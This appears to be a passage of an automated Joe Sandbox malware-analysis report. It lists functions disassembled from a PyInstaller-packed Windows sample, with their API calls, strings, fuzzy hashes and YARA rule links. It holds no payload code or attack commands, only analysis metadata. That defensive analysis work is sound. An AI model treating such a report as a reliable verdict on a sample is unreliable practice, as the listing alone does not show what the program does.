Opcode Fuzzy Hash: c60f31d90617da9bd6efd05d10818b0c471ae56f5d8722fb5927d0269e83daa3
Instruction Fuzzy Hash: 0671E871B0878285FB60EF36F460AB9A391FB8C7A6F804076DD8D47759EE2CE5448760

Function 00007FF7CA7915C0 Relevance: 22.9, APIs: 1, Strings: 12, Instructions: 137
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

malloc, xrefs: 00007FF7CA7916F6
fwrite, xrefs: 00007FF7CA79177C
Failed to create symbolic link %s!, xrefs: 00007FF7CA7915E2
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF7CA79168E
fread, xrefs: 00007FF7CA79178C
Failed to extract %s: failed to write data chunk!, xrefs: 00007FF7CA791775
Failed to extract %s: failed to open archive file!, xrefs: 00007FF7CA79165B
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF7CA791785
fopen, xrefs: 00007FF7CA79161E
Failed to extract %s: failed to allocate temporary buffer!, xrefs: 00007FF7CA7916EF
fseek, xrefs: 00007FF7CA791695
Failed to extract %s: failed to open target file!, xrefs: 00007FF7CA791617

Memory Dump Source

Source File: 00000006.00000002.2288359854.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000006.00000002.2288309521.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288399563.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288515262.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: Message
String ID: Failed to create symbolic link %s!$Failed to extract %s: failed to allocate temporary buffer!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to open target file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$Failed to extract %s: failed to write data chunk!$fopen$fread$fseek$fwrite$malloc
API String ID: 2030045667-1550345328
Opcode ID: 2846edcd738c7b1c6c1bede6bf53d2a981fd655f19fbe5216fb87af41ab02501
Instruction ID: a458c5a78271867f5074386a494255ffa4cb349959f239fc4155334aa1e4a4c7
Opcode Fuzzy Hash: 2846edcd738c7b1c6c1bede6bf53d2a981fd655f19fbe5216fb87af41ab02501
Instruction Fuzzy Hash: 1D518E61B0864391FA10BF37B4609B9A360BF987B6FC441B2EE0D07795EF2CE5648760

Function 00007FF7CA797FC0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 89
processsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF7CA7986B0: MultiByteToWideChar.KERNEL32(?,?,?,00007FF7CA793FA4,00000000,00007FF7CA791925), ref: 00007FF7CA7986E9

SetConsoleCtrlHandler.KERNEL32(?,00007FF7CA7939C0), ref: 00007FF7CA79800A
GetStartupInfoW.KERNEL32(?,00007FF7CA7939C0), ref: 00007FF7CA79802B

Part of subcall function 00007FF7CA7A978C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7CA7A97A0

Part of subcall function 00007FF7CA7A7A2C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7CA7A7A93

GetCommandLineW.KERNEL32(?,00007FF7CA7939C0), ref: 00007FF7CA7980CD
CreateProcessW.KERNELBASE ref: 00007FF7CA79810F
WaitForSingleObject.KERNEL32(?,00007FF7CA7939C0), ref: 00007FF7CA798123
GetExitCodeProcess.KERNELBASE ref: 00007FF7CA798133

Strings

Failed to create child process!, xrefs: 00007FF7CA79813F
CreateProcessW, xrefs: 00007FF7CA798146

Memory Dump Source

Source File: 00000006.00000002.2288359854.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000006.00000002.2288309521.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288399563.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288515262.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: Process_invalid_parameter_noinfo$ByteCharCodeCommandConsoleCreateCtrlExitHandlerInfoLineMultiObjectSingleStartupWaitWide
String ID: CreateProcessW$Failed to create child process!
API String ID: 2895956056-699529898
Opcode ID: 2d8580ce5d81a01d0f8683f73fef31206a84e7faf833a053d17f215ed92b6c27
Instruction ID: f12b3981035044a2654949c3ea4a651c204c0cfc626424de18e302af76f872bd
Opcode Fuzzy Hash: 2d8580ce5d81a01d0f8683f73fef31206a84e7faf833a053d17f215ed92b6c27
Instruction Fuzzy Hash: 7A414D32A0878291EA20AF25F4652AAB3A0FBDC371F900375EAAD437D5DF7CD4448B50

Function 00007FF7CA7911F0 Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 154
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

malloc, xrefs: 00007FF7CA79129C, 00007FF7CA7912CA
1.3.1, xrefs: 00007FF7CA791229
Failed to extract %s: failed to allocate temporary input buffer!, xrefs: 00007FF7CA791295
Failed to extract %s: failed to allocate temporary output buffer!, xrefs: 00007FF7CA7912C3
Failed to extract %s: decompression resulted in return code %d!, xrefs: 00007FF7CA7913EE
Failed to extract %s: inflateInit() failed with return code %d!, xrefs: 00007FF7CA791256

Memory Dump Source

Source File: 00000006.00000002.2288359854.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000006.00000002.2288309521.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288399563.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288515262.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: Message
String ID: 1.3.1$Failed to extract %s: decompression resulted in return code %d!$Failed to extract %s: failed to allocate temporary input buffer!$Failed to extract %s: failed to allocate temporary output buffer!$Failed to extract %s: inflateInit() failed with return code %d!$malloc
API String ID: 2030045667-2813020118
Opcode ID: 56c9dbaed340d0ed044521a6c9d65125b35e17f9c64d3b309c5efef7fe4d0be7
Instruction ID: b5391e1676d64e335cf7a320f6b982baa8b1e2f378caacd0a6270989fd340161
Opcode Fuzzy Hash: 56c9dbaed340d0ed044521a6c9d65125b35e17f9c64d3b309c5efef7fe4d0be7
Instruction Fuzzy Hash: E551D262A0864281FA60BF37B460BBAA390BB897A6FC44176DD4D477D5EF3CE4118720

Function 00007FF7CA7AE020 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(?,?,?,00007FF7CA7AE3BA,?,?,-00000018,00007FF7CA7AA063,?,?,?,00007FF7CA7A9F5A,?,?,?,00007FF7CA7A524E), ref: 00007FF7CA7AE19C
GetProcAddress.KERNEL32(?,?,?,00007FF7CA7AE3BA,?,?,-00000018,00007FF7CA7AA063,?,?,?,00007FF7CA7A9F5A,?,?,?,00007FF7CA7A524E), ref: 00007FF7CA7AE1A8

Strings

api-ms-, xrefs: 00007FF7CA7AE0E6
ext-ms-, xrefs: 00007FF7CA7AE0F9

Memory Dump Source

Source File: 00000006.00000002.2288359854.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000006.00000002.2288309521.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288399563.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288515262.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 400d167c79677b3a1b331b2dd1a2c4ed1cd7dec94f3cf9f9612a621c3bffedbb
Instruction ID: e539b5b569d69f6f53b1971c1198f23ad4841fdee460c71122e855426a66c7ab
Opcode Fuzzy Hash: 400d167c79677b3a1b331b2dd1a2c4ed1cd7dec94f3cf9f9612a621c3bffedbb
Instruction Fuzzy Hash: AB41F571B19A22A1FA16AF17F820675B2A1BF4CBB2F985175DD0D47784EE3CE8458320

Function 00007FF7CA797C40 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 116
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTempPathW.KERNEL32(?,?,FFFFFFFF,00007FF7CA793834), ref: 00007FF7CA797CE4
CreateDirectoryW.KERNELBASE(?,?,FFFFFFFF,00007FF7CA793834), ref: 00007FF7CA797D2C

Part of subcall function 00007FF7CA797E10: GetEnvironmentVariableW.KERNEL32(00007FF7CA79365F), ref: 00007FF7CA797E47
Part of subcall function 00007FF7CA797E10: ExpandEnvironmentStringsW.KERNEL32 ref: 00007FF7CA797E69

Part of subcall function 00007FF7CA7A7548: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7CA7A7561

Part of subcall function 00007FF7CA7926C0: MessageBoxW.USER32 ref: 00007FF7CA792736

Strings

TMP, xrefs: 00007FF7CA797C7C, 00007FF7CA797D83
TMP, xrefs: 00007FF7CA797CA2
LOADER: failed to set the TMP environment variable., xrefs: 00007FF7CA797CBC
_MEI%d, xrefs: 00007FF7CA797CF2
LOADER: length of teporary directory path exceeds maximum path length!, xrefs: 00007FF7CA797D5E

Memory Dump Source

Source File: 00000006.00000002.2288359854.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000006.00000002.2288309521.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288399563.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288515262.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: Environment$CreateDirectoryExpandMessagePathStringsTempVariable_invalid_parameter_noinfo
String ID: LOADER: failed to set the TMP environment variable.$LOADER: length of teporary directory path exceeds maximum path length!$TMP$TMP$_MEI%d
API String ID: 740614611-1339014028
Opcode ID: 11860e683bfeec2df00dcc2c56da5dbb6591d5702bb717516bbb2bb41ff9b0e3
Instruction ID: 91cdc93960275bf2f8001bdb1c66751abf2e88145991c7ace678a285fe8fabe2
Opcode Fuzzy Hash: 11860e683bfeec2df00dcc2c56da5dbb6591d5702bb717516bbb2bb41ff9b0e3
Instruction Fuzzy Hash: F141AF11A09A4290FA24BF77B9756F99251BF9DBA2FC010B2DD0D47796EE3CE9018360

Function 00007FF7CA7AAD6C Relevance: 10.8, APIs: 7, Instructions: 290
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7CA7AB199

Memory Dump Source

Source File: 00000006.00000002.2288359854.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000006.00000002.2288309521.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288399563.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288515262.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 7e4b6968f21da67f115f2b5899b729ebe27c21aa0167ab1df282e77588440d71
Instruction ID: 526e1b91499e656a934263aa98156c479dc3e8e63386a269effbe7ea5a762aa9
Opcode Fuzzy Hash: 7e4b6968f21da67f115f2b5899b729ebe27c21aa0167ab1df282e77588440d71
Instruction Fuzzy Hash: 15C10822A0C68771FB10AF16B0202BEB754FBD8BA2F956171E94D07791DE7DEC558320

Function 00007FF7CA797B50 Relevance: 10.6, APIs: 7, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 00007FF7CA797B70
OpenProcessToken.ADVAPI32 ref: 00007FF7CA797B83
GetTokenInformation.KERNELBASE ref: 00007FF7CA797BA8
GetLastError.KERNEL32 ref: 00007FF7CA797BB2
GetTokenInformation.KERNELBASE ref: 00007FF7CA797BF2
ConvertSidToStringSidW.ADVAPI32 ref: 00007FF7CA797C0E
CloseHandle.KERNEL32 ref: 00007FF7CA797C26

Memory Dump Source

Source File: 00000006.00000002.2288359854.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000006.00000002.2288309521.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288399563.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288515262.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: Token$InformationProcess$CloseConvertCurrentErrorHandleLastOpenString
String ID:
API String ID: 995526605-0
Opcode ID: 748b97fd960fc4e5004671791fa0bd5d217265360f36ca399a643c65045a3ab9
Instruction ID: e8062758e099b96dd1fdf00f39dd3351d2cae3f5f081f0465971c74a053c32ca
Opcode Fuzzy Hash: 748b97fd960fc4e5004671791fa0bd5d217265360f36ca399a643c65045a3ab9
Instruction Fuzzy Hash: DD216422A0CB4641FB10AF76F460639E3A5FBC97B5F900275EA6D43AE4DF6CD4448710

Function 00007FF7CA7933E0 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32(?,00007FF7CA793534), ref: 00007FF7CA793411

Part of subcall function 00007FF7CA7929E0: GetLastError.KERNEL32(?,?,?,00007FF7CA79342E,?,00007FF7CA793534), ref: 00007FF7CA792A14
Part of subcall function 00007FF7CA7929E0: FormatMessageW.KERNEL32(?,?,?,00007FF7CA79342E), ref: 00007FF7CA792A7D
Part of subcall function 00007FF7CA7929E0: MessageBoxW.USER32 ref: 00007FF7CA792ACF

Strings

Failed to convert executable path to UTF-8., xrefs: 00007FF7CA7934B8
\\?\, xrefs: 00007FF7CA793482
Failed to obtain executable path., xrefs: 00007FF7CA79341B
GetModuleFileNameW, xrefs: 00007FF7CA793422
Failed to resolve full path to executable %ls., xrefs: 00007FF7CA793461

Memory Dump Source

Source File: 00000006.00000002.2288359854.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000006.00000002.2288309521.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288399563.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288515262.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: Message$ErrorFileFormatLastModuleName
String ID: Failed to convert executable path to UTF-8.$Failed to obtain executable path.$Failed to resolve full path to executable %ls.$GetModuleFileNameW$\\?\
API String ID: 517058245-2863816727
Opcode ID: 4333ea13b7f7892cb13c7834fe0fbc8b7cb0659b0560af6bfa7ef98de9a8054c
Instruction ID: 461ee177c69afbedae8b52f28cbfc0310a9f30a65b6c8f04beec5da2ebdb988f
Opcode Fuzzy Hash: 4333ea13b7f7892cb13c7834fe0fbc8b7cb0659b0560af6bfa7ef98de9a8054c
Instruction Fuzzy Hash: 3721E260B1864291FA21BF32F8707B99250BF5C3B6FC041B7DA5D86AE5EE2CE5048360

Function 00007FF7CA798400 Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 64
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF7CA797B50: GetCurrentProcess.KERNEL32 ref: 00007FF7CA797B70
Part of subcall function 00007FF7CA797B50: OpenProcessToken.ADVAPI32 ref: 00007FF7CA797B83
Part of subcall function 00007FF7CA797B50: GetTokenInformation.KERNELBASE ref: 00007FF7CA797BA8
Part of subcall function 00007FF7CA797B50: GetLastError.KERNEL32 ref: 00007FF7CA797BB2
Part of subcall function 00007FF7CA797B50: GetTokenInformation.KERNELBASE ref: 00007FF7CA797BF2
Part of subcall function 00007FF7CA797B50: ConvertSidToStringSidW.ADVAPI32 ref: 00007FF7CA797C0E
Part of subcall function 00007FF7CA797B50: CloseHandle.KERNEL32 ref: 00007FF7CA797C26

LocalFree.KERNEL32(?,00007FF7CA793814), ref: 00007FF7CA79848C
LocalFree.KERNEL32(?,00007FF7CA793814), ref: 00007FF7CA798495

Strings

Security descriptor string length exceeds PYI_PATH_MAX!, xrefs: 00007FF7CA7984A3
S-1-3-4, xrefs: 00007FF7CA798441
D:(A;;FA;;;%s)(A;;FA;;;%s), xrefs: 00007FF7CA798462
D:(A;;FA;;;%s), xrefs: 00007FF7CA798477

Memory Dump Source

Source File: 00000006.00000002.2288359854.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000006.00000002.2288309521.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288399563.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288515262.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: Token$FreeInformationLocalProcess$CloseConvertCurrentErrorHandleLastOpenString
String ID: D:(A;;FA;;;%s)$D:(A;;FA;;;%s)(A;;FA;;;%s)$S-1-3-4$Security descriptor string length exceeds PYI_PATH_MAX!
API String ID: 6828938-1529539262
Opcode ID: 3b4c49a148c6d93be49ada6c8446d085e6d181d97aae771454943d90599d7390
Instruction ID: 1d977b1d102933c60258047caae83c8af19b1fcc10cdecb65517ef8c3270a44a
Opcode Fuzzy Hash: 3b4c49a148c6d93be49ada6c8446d085e6d181d97aae771454943d90599d7390
Instruction Fuzzy Hash: C0215031A0874182F610BF32F5256E9A2A4FF9C7A2FD440B6EA4D43796DF3CD84487A0

Function 00007FF7CA7AC270 Relevance: 6.2, APIs: 4, Instructions: 218
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetConsoleMode.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7CA7AC25B), ref: 00007FF7CA7AC38C
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7CA7AC25B), ref: 00007FF7CA7AC417

Memory Dump Source

Source File: 00000006.00000002.2288359854.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000006.00000002.2288309521.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288399563.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288515262.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: 1f18d30cb6731d2276149ea46625d8d438ffcaf3b5eb5be8e43e25f336112fa7
Instruction ID: b0a52941cb9615752afad55985b0c05099b2239c72e13ad98e9848fd6904ecc9
Opcode Fuzzy Hash: 1f18d30cb6731d2276149ea46625d8d438ffcaf3b5eb5be8e43e25f336112fa7
Instruction Fuzzy Hash: B391F872E08651B5F750AFA6B4602BDABA0BB48FAAF945175DE0E56684CF38D8418320

Function 00007FF7CA7A4938 Relevance: 6.1, APIs: 4, Instructions: 90fileCOMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7CA7A4965
CreateFileW.KERNELBASE ref: 00007FF7CA7A49A4
CloseHandle.KERNEL32 ref: 00007FF7CA7A49D9

Memory Dump Source

Source File: 00000006.00000002.2288359854.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000006.00000002.2288309521.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288399563.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288515262.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: CloseCreateFileHandle_invalid_parameter_noinfo
String ID:
API String ID: 1279662727-0
Opcode ID: ebea2a15e315379b7438f17c06ac6f564ef77e5ce815d722b4931623952d3bd6
Instruction ID: 4273bd0ac43a22d368c38be3f924296c482fcc2729f9105fbe6be4fc4d1f0360
Opcode Fuzzy Hash: ebea2a15e315379b7438f17c06ac6f564ef77e5ce815d722b4931623952d3bd6
Instruction Fuzzy Hash: 7E41A522D1878193F710AF62A520379B260FBA8775F50A374DA5C03AD5DF7DA9F08714

Function 00007FF7CA79BF5C Relevance: 4.6, APIs: 3, Instructions: 94COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7CA79C12C: __scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF7CA79C140

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF7CA79BF80
__scrt_release_startup_lock.LIBCMT ref: 00007FF7CA79BFEE
__scrt_get_show_window_mode.LIBCMT ref: 00007FF7CA79C041

Memory Dump Source

Source File: 00000006.00000002.2288359854.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000006.00000002.2288309521.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288399563.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288515262.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: __scrt_acquire_startup_lock__scrt_dllmain_crt_thread_attach__scrt_get_show_window_mode__scrt_release_startup_lock
String ID:
API String ID: 3251591375-0
Opcode ID: 51e2e4cc4e0defacebf1dac919e01b91b6d5e84f1fe25dd37a2b49ce45fe95ab
Instruction ID: 49b5354147e262e17c0615aeac76db803852de5a14d1621bfbd34021169d506b
Opcode Fuzzy Hash: 51e2e4cc4e0defacebf1dac919e01b91b6d5e84f1fe25dd37a2b49ce45fe95ab
Instruction Fuzzy Hash: BE313F11A4C24249FE54BF7BB435BB99291BF4D3A6FC414B6E90E472D3DE2DA8058231

Function 00007FF7CA7A8D48 Relevance: 4.5, APIs: 3, Instructions: 14COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,00007FF7CA7A8D44), ref: 00007FF7CA7A8D59
TerminateProcess.KERNEL32(?,?,?,00007FF7CA7A8D44), ref: 00007FF7CA7A8D64
ExitProcess.KERNEL32 ref: 00007FF7CA7A8D73

Memory Dump Source

Source File: 00000006.00000002.2288359854.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000006.00000002.2288309521.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288399563.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288515262.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 824606f6feba241c18d37bd9947fb033388d99e3127919417550cde66a1966b4
Instruction ID: b77186e68ffb366b50de70177d1347910301ef35d12d7028ab6fa50a907817e1
Opcode Fuzzy Hash: 824606f6feba241c18d37bd9947fb033388d99e3127919417550cde66a1966b4
Instruction Fuzzy Hash: E2D06750F1870A9AFA543F7278A957992557FAC722B9024B8DC4A0A393CD2CA80E4660

Function 00007FF7CA79F45C Relevance: 3.2, APIs: 2, Instructions: 177COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7CA79F4A0
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7CA79F597

Memory Dump Source

Source File: 00000006.00000002.2288359854.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000006.00000002.2288309521.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288399563.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288515262.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: bcfcf1faf55df9f9e23f958511fce33fc2a490ff62131b022dace26bbec7c8c2
Instruction ID: a4dfc8829e693f07a7c0064f1de45b46ac2f21e51590c91da7984f03d357ae46
Opcode Fuzzy Hash: bcfcf1faf55df9f9e23f958511fce33fc2a490ff62131b022dace26bbec7c8c2
Instruction Fuzzy Hash: 5751E562B0924246FA24BF37B420A7EA291BF4CBB6F948676DD6C477D5CF3CD4008620

Function 00007FF7CA7AB444 Relevance: 3.0, APIs: 2, Instructions: 46COMMONLIBRARYCODE

Download Yara Rule

APIs

